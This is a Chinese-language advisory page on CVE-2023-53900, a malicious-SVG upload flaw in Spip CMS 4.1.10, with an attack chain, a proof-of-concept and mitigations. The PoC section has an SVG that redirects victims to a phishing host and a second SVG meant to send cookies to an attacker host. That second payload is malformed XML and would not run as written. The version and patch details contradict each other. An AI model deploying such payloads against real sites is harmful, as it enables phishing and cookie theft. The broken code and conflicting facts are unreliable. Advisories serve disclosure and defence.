CVE-2023-53900: Spip 4.1.10 SVG文件上传导致钓鱼攻击漏洞

漏洞信息

漏洞编号

CVE-2023-53900

漏洞类型

文件上传漏洞

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Spip CMS

漏洞概述

CVE-2023-53900是Spip CMS 4.1.10版本中的一个高危文件上传漏洞。该漏洞允许未经认证的攻击者通过上传包含恶意外部链接的SVG文件来实施钓鱼攻击。攻击者利用Spip系统中不正确的文件上传过滤机制，将恶意SVG文件伪装成logo图片上传到服务器。当管理员或用户浏览这些被篡改的图片时，会被重定向到攻击者控制的恶意网站，可能导致凭据窃取、恶意软件感染等严重后果。此漏洞的CVSS评分为8.8，属于高危级别，需要用户交互才能触发，但攻击复杂度低且可通过网络远程利用。漏洞的发现由VulnCheck安全团队披露，CVSS向量显示该漏洞对机密性、完整性和可用性都有高影响。

技术细节

该漏洞存在于Spip 4.1.10的文件上传处理模块中。系统对SVG文件格式的验证存在缺陷，允许攻击者嵌入恶意的外部链接或脚本代码到SVG文件中。SVG格式本身支持XML结构和外部实体引用，攻击者可以利用这一特性注入重定向脚本。当用户访问包含恶意SVG的图片时，浏览器会解析SVG内容并执行其中的外部链接跳转。攻击者通常会构造一个看似正常的logo图片，实际上链接指向钓鱼网站或恶意资源。由于SVG文件在多种上下文中都会被渲染，包括RSS订阅、API响应和后台管理等，攻击面广泛。攻击者利用社会工程学手段诱骗管理员上传或查看这些恶意图片，从而完成攻击链的最终环节。

攻击链分析

STEP 1

1

攻击者创建包含恶意重定向脚本的SVG文件，利用SVG格式的脚本执行能力和外部链接引用功能

STEP 2

2

攻击者访问Spip CMS的文件上传接口，在未认证或普通用户权限下上传恶意SVG文件

STEP 3

3

Spip系统的文件上传过滤机制未能正确验证SVG文件内容，允许恶意代码通过验证并存储在服务器上

STEP 4

4

攻击者通过社会工程学手段诱骗管理员或用户访问该恶意SVG图片，如将其设置为logo或通过RSS/API访问

STEP 5

5

受害者浏览器解析SVG文件时执行其中的恶意脚本，被重定向到钓鱼网站或恶意资源

STEP 6

6

攻击者成功窃取受害者凭据、Session信息或诱导下载恶意软件，完成攻击目标

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- Malicious SVG file for CVE-2023-53900 PoC -->
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <script type="text/javascript">
    // Redirect victim to attacker-controlled site
    window.location.href = "https://malicious-phishing-site.com";
  </script>
  <rect width="200" height="200" fill="#4A90E2"/>
  <text x="50%" y="50%" fill="white" text-anchor="middle" dy=".3em">Spip Logo</text>
</svg>

<!-- Alternative SVG with external link injection -->
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image width="200" height="200">
    <xlink:href="https://attacker-controlled-site.com/steal-cookies?cookie=" + document.cookie/>
  </image>
</svg>

影响范围

Spip < 4.1.10 (affected)

Spip 4.1.10 (vulnerable)

防御指南

临时缓解措施

在官方补丁发布前，可采取以下临时缓解措施：1) 禁用SVG文件上传功能或限制为仅管理员可用；2) 对上传的SVG文件进行内容过滤，移除<script>标签和外部引用；3) 配置CSP策略限制SVG文件的执行能力；4) 增强文件上传的白名单机制，仅允许安全的图片格式如PNG、JPEG；5) 监控文件上传目录的可疑活动；6) 对管理员进行安全意识培训，警惕来源不明的logo图片。